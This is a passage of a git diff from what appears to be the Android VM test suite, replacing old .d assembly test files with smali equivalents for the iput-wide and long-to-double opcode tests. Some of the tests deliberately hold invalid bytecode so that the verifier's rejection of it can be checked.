+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_wide_24.java"
+.class  public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_24;
+.super  Ljava/lang/Object;
+
+.field public  st_z:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const-wide v0, 1    
+       iput-wide v0, v3, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_24;->st_z:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_3.d
deleted file mode 100644
index fc4dc02..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_3.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_wide_3.java
-.class public dot.junit.opcodes.iput_wide.d.T_iput_wide_3
-.super java/lang/Object
-
-.field public  st_i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v0, 1
-       iput-wide v0, v2, dot.junit.opcodes.iput_wide.d.T_iput_wide_3.st_i1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_3.smali
new file mode 100644
index 0000000..5ad7a34
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_3.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_wide_3.java"
+.class  public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_3;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v0, 1
+       iput-wide v0, v2, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_3;->st_i1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_30.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_30.d
deleted file mode 100644
index 9513dc8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_30.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_wide_30.java
-.class public dot.junit.opcodes.iput_wide.d.T_iput_wide_30
-.super java/lang/Object
-
-.field public  st_i1 J
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-    new-instance v0, dot/junit/opcodes/iput_wide/d/T_iput_wide_30
-    const-wide v1, 0
-    iput-wide v1, v0, dot.junit.opcodes.iput_wide.d.T_iput_wide_30.st_i1 J
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_30.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_30.smali
new file mode 100644
index 0000000..09201a4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_30.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_wide_30.java"
+.class  public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_30;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+    new-instance v0, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_30;
+    const-wide v1, 0
+    iput-wide v1, v0, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_30;->st_i1:J
+.end method
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_31.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_31.d
deleted file mode 100644
index 0e5e112..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_31.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2014 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_wide_31.java
-.class public dot.junit.opcodes.iput_wide.d.T_iput_wide_31
-.super java/lang/Object
-
-.field public  st_i1 J
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-    const-wide v1, 0
-    iput-wide v1, v0, dot.junit.opcodes.iput_wide.d.T_iput_wide_31.st_i1 J
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_31.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_31.smali
new file mode 100644
index 0000000..70605f3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_31.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_wide_31.java"
+.class  public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_31;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+    const-wide v1, 0
+    iput-wide v1, v0, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_31;->st_i1:J
+.end method
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_4.d
deleted file mode 100644
index 6036cc6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_wide_4.java
-.class public dot.junit.opcodes.iput_wide.d.T_iput_wide_4
-.super java/lang/Object
-
-.field public  st_i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iput-wide v3, v2, dot.junit.opcodes.iput_wide.d.T_iput_wide_4.st_i1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_4.smali
new file mode 100644
index 0000000..c17fee3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_wide_4.java"
+.class  public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_4;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iput-wide v3, v2, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_4;->st_i1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_5.d
deleted file mode 100644
index 3c1d9ba..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_5.d
+++ /dev/null
@@ -1,38 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_wide_5.java
-.class public dot.junit.opcodes.iput_wide.d.T_iput_wide_5
-.super java/lang/Object
-
-.field public  st_i1 D
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-
-.method public run()V
-.limit regs 3
-
-       const-wide v0, 0.5
-       iput-wide v0, v2, dot.junit.opcodes.iput_wide.d.T_iput_wide_5.st_i1 D
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_5.smali
new file mode 100644
index 0000000..35f88f3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_5.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_wide_5.java"
+.class  public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_5;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+
+.method public run()V
+.registers 3
+
+       const-wide v0, 0.5
+       iput-wide v0, v2, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_5;->st_i1:D
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_6.d
deleted file mode 100644
index 31f4f12..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_6.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_wide_6.java
-.class public dot.junit.opcodes.iput_wide.d.T_iput_wide_6
-.super java/lang/Object
-
-.field public  st_i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v0, 1
-       iput-wide v0, v2, dot.junit.opcodes.iput_wide.d.T_iput_wide_6.st_i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_6.smali
new file mode 100644
index 0000000..646676f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_6.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_wide_6.java"
+.class  public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_6;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v0, 1
+       iput-wide v0, v2, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_6;->st_i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_7.d
deleted file mode 100644
index df5079c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_7.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_wide_7.java
-.class public dot.junit.opcodes.iput_wide.d.T_iput_wide_7
-.super java/lang/Object
-
-.field public static st_i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v0, 0
-       iput-wide v0, v2, dot.junit.opcodes.iput_wide.d.T_iput_wide_7.st_i1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_7.smali
new file mode 100644
index 0000000..10f28ec
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_7.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_wide_7.java"
+.class  public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_7;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v0, 0
+       iput-wide v0, v2, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_7;->st_i1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_8.d
deleted file mode 100644
index 12a0d92..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_8.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_wide_8.java
-.class public dot.junit.opcodes.iput_wide.d.T_iput_wide_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-       new-instance v0, Ldot/junit/opcodes/iput_wide/TestStubs;
-       invoke-direct {v0}, dot/junit/opcodes/iput_wide/TestStubs/<init>()V
-       
-       const-wide v1, 0
-       iput-wide v1, v0, dot.junit.opcodes.iput_wide.TestStubs.TestStubField J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_8.smali
new file mode 100644
index 0000000..1785856
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_8.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_wide_8.java"
+.class  public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+       new-instance v0, Ldot/junit/opcodes/iput_wide/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_wide/TestStubs;-><init>()V
+       
+       const-wide v1, 0
+       iput-wide v1, v0, Ldot/junit/opcodes/iput_wide/TestStubs;->TestStubField:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_9.d
deleted file mode 100644
index aecd210..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_9.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_wide_9.java
-.class public dot.junit.opcodes.iput_wide.d.T_iput_wide_9
-.super java/lang/Object
-
-.field public st_i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v0, 0
-       iput-wide v0, v2, dot.junit.opcodes.iput_wide.d.T_iput_wide_9noclass.st_i1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_9.smali
new file mode 100644
index 0000000..acff113
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_9.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_wide_9.java"
+.class  public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_9;
+.super  Ljava/lang/Object;
+
+.field public st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v0, 0
+       iput-wide v0, v2, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_9noclass;->st_i1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_1.d
deleted file mode 100644
index d1e068c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_long_to_double_1.java
-.class public dot.junit.opcodes.long_to_double.d.T_long_to_double_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)D
-.limit regs 8
-
-       long-to-double v0, v6
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_1.smali
new file mode 100644
index 0000000..70a05bb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_long_to_double_1.java"
+.class  public Ldot/junit/opcodes/long_to_double/d/T_long_to_double_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)D
+.registers 8
+
+       long-to-double v0, v6
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_2.d
deleted file mode 100644
index 3201a77..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_long_to_double_2.java
-.class public dot.junit.opcodes.long_to_double.d.T_long_to_double_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)D
-.limit regs 8
-
-       const v6, 3.1415
-       long-to-double v0, v6
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_2.smali
new file mode 100644
index 0000000..e29733a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_2.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/long_to_double/d/T_long_to_double_2;
+.super Ljava/lang/Object;
+.source "T_long_to_double_2.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(J)D
+    .registers 8
+
+    const p1, 0x40490e56    # 3.1415f
+
+    long-to-double v0, p1
+
+    return-wide v0
+.end method
